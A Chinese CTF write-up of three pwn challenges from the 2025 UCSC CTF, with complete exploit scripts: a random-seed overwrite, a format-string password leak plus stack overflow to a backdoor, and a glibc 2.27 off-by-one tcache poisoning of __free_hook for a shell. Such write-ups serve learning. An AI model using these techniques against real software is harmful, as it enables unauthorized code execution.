前言
说实话有点失望, 比赛平台超级卡,而且比赛一开始平台就崩了,题目难度偏低(也是很遗憾,本来可以抢个血分的,但是太卡了靶机就是打不开)但是还是感谢比赛出题的师傅愿意分享自己的题目
通过网盘分享的文件:2025UCSCCTF.rar
链接: https://pan.baidu.com/s/17yqcmGRXWN1oNMvgZNRv5w?pwd=xidp 提取码: xidp
内含2025 UCSCCTF三个pwn题的附件
由于题目比较简单我就简单介绍我的思路并放上exp了
BoFido-Ucsc
程序里开头有seed = time(0)
获取当前时间作为随机数种子
但是下面又有一个read
的溢出,这个read的溢出可以覆盖到随机数种子seed
我将它覆盖为0
避免了时间不同步带来的影响
然后下面就是不断的获取随机数,然后要求用户输入,如果用户输入的都正确就可以直接拿到shell
做出这个题目后我试了一下直接把题目给deepseek,告诉deepseek我是一名pwn手,这是一个关于随机数绕过的的pwn题,deepseek也能给出差不多的代码来帮助绕过随机数
这里我用我本地的libc,libc版本为Ubuntu GLIBC 2.35-0ubuntu3.9就可以打通远程
完整exp:
from xidp import *
from ctypes import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./BoFido"
libc_path = ''
ip = '39.107.58.236:41109'
# 1-远程 其他-本地
link = 1
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = []
#---------------------debug-------------------------------
# pwndbg(1, bps, 1)
payload = b'A' * 20 + b'B' * 12 + p32(0) # 覆盖seed为0
io.sendafter("Enter your name:", payload)
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(0) # 使用固定种子
for _ in range(10):
nums = [libc.rand() % 255 for _ in range(3)]
io.sendlineafter("numbers:\n", f"{nums[0]} {nums[1]} {nums[2]}")
ia()
userlogin
程序设计了一个密码,用这个密码可以登入
乍一看以为又是一个随机数绕过,又用上一题同样的方法试了一次,发现不太行,不知道是本地远程有时间差还是说libc版本不对
后来发现里面有格式化字符串漏洞
,可以用于泄露密码
然后得到密码后就可以进到root
里面使用scanf
的溢出了
还需要注意,程序里面是有后门的,不需要我们自己构建
完整exp:
from xidp import *
from ctypes import CDLL
import time
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn"
libc_path = ''
ip = '39.107.58.236:45010'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x04012B0]
#---------------------debug-------------------------------
# pwndbg(0, bps, 1)
io.sendlineafter("Password: ", "supersecureuser") #调用printf
# 构造格式化字符串Payload
payload = b'%22$p_%23$p' # 分隔符用于区分两个字符串
# pwndbg(0, bps, 1)
io.sendlineafter("Write Something\n", payload) #调用printf
# 接收泄露的字符串
io.recvuntil("0x")
str1 = int(io.recv(16), 16)
io.recvuntil("0x")
str2 = int(io.recv(16), 16)
# str1 = hex(str1)
# str2 = hex(str2)
# put(str1)
# put(str2)
passwd = (int.to_bytes(str1, 8, 'little') +
int.to_bytes(str2, 8, 'little')).decode().strip('\x00')
put(passwd)
backdoor = 0x00401265
io.sendlineafter("Password: ", passwd)
payload = b'a'*40
payload += p64(backdoor)
io.sendlineafter("Note: \n", payload)
ia()
题目里面给的格式化字符串有32字节呢,似乎可以直接用格式化字符串来修改返回地址,但是我没有尝试,因为我感觉直接泄露密码打溢出更加简单,如果有师傅尝试了可以评论区和我分享一下( ̄▽ ̄)
疯狂复制
2.27的堆题,给的版本是Ubuntu GLIBC 2.27-3ubuntu1.6
给的漏洞是在edit
中有off-by-one
我们可以利用这个漏洞来修改chunk的size位
以此来造成堆块重叠
要问怎么看出off-by-one
, 我认为与其看出来不如直接上gdb申请一个chunk,比如申请一个0x10的chunk然后我们使用edit功能看看能不能输入0x11个字符以此来确定是否有溢出,答案是肯定的
这道题也很常规就是利用tcachebin
没有任何保护,去申请到free_hook
上,修改free_hook
为system
,然后随便找个块写入 /bin/sh
字符串,随后用free释放它即可拿到shell
所以我们的首要目标就是获取libc基地址,所以我的第一步是填满了0x90
大小的tcachebin
使得堆块能够进入到unsortedbin
中然后再申请出来,从而得到libc地址
将chunk放入unsortedbin中
将chunk切割一部分取出
最后就可以我们切割出来的chunk里面有libc地址了
这里可能有的师傅有个小疑问,为什么原本里面是0x7ffff7bebca0
但是切割出来的却是 0x00007ffff7bebd20
这是因为我们申请add(0x18)
之后堆块里面没有找到合适的chunk
,然后原本在unsortedbin
中的chunk
就会先放入smallbin
中,然后进行切割,切割出的0x20给用户,剩余的部分放回unsortedbin
中,这个过程看起来很像是直接从unsortedbi
n中切割,其实并不是
总之就是可以泄露libc地址了,然后就是申请几个0x38大小的chunk
,然后利用off-by-one
修改其中一个的size位
,然后释放它再申请它,就可以造成堆块重叠,然后释放它的高地址chunk
进入tcachebin
,我们可以利用它来控制高地址chunk
的next指针
然后就…就没啥好说的,常规套路
完整exp:
from xidp import *
#---------------------初始化----------------------------
arch = 64
elf_os = 'linux'
challenge = "./pwn2"
libc_path = '/home/xidp/tools/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc-2.27.so'
ip = '39.107.58.236:42651'
# 1-远程 其他-本地
link = 2
io, elf, libc = loadfile(challenge, libc_path, ip, arch, elf_os, link)
debug(0) # 其他-debug 1-info
#---------------------初始化-----------------------------
#---------------------debug------------------------------
# 断点
bps = [0x09B5]
#---------------------debug-------------------------------
# pwndbg(1, bps, 1)
menu = ":"
def add(idx, size):
sdla(menu, str(1))
sdla("Index: ", str(idx))
sdla("Size ", str(size)) # size不能大于0x100
def edit(idx, content):
sdla(menu, str(2))
sdla("Index: ", str(idx))
sdla("Content: ", content)
def free(idx):
sdla(menu, str(4))
sdla("Index:", str(idx))
def show(idx):
sdla(menu, str(3))
sdla("Index:", str(idx))
for i in range(7):
add(i, 0x88)
add(7, 0x88)
add(8, 0x38)
for i in range(7):
free(i)
free(7)
for i in range(7):
add(i, 0x88)
# pwndbg(1, bps, 1)
add(7, 0x18)
show(7)
io.recvuntil("Content: ")
libc_offset = uu64()
leak("libc_offset")
libc_base = libc_offset - 0x3EBD20
leak("libc_base")
malloc_hook = libc_base + libc.sym['__malloc_hook']
leak("malloc_hook")
free_hook = libc_base + libc.sym['__free_hook']
leak('free_hook')
system_addr = libc_base + libc.sym['system']
leak('system_addr')
one = [0x4f29e, 0x4f2a5, 0x4f302, 0x10a2fc]
one_gadget = libc_base + one[3]
leak("one_gadget")
add(9, 0x38)
add(10, 0x38)
add(11, 0x38)
add(12, 0x38)
free(12)
edit(10, b'b'*0x38 + p8(0x71))
free(11)
add(11, 0x68)
edit(11, b'c'*0x38 + p64(41) + p64(free_hook))
add(12, 0x38)
add(13, 0x38)
edit(13, p64(system_addr))
edit(12, b'/bin/sh\x00\x00')
free(12)
ia()
结束了,成功AK。嘻嘻嘻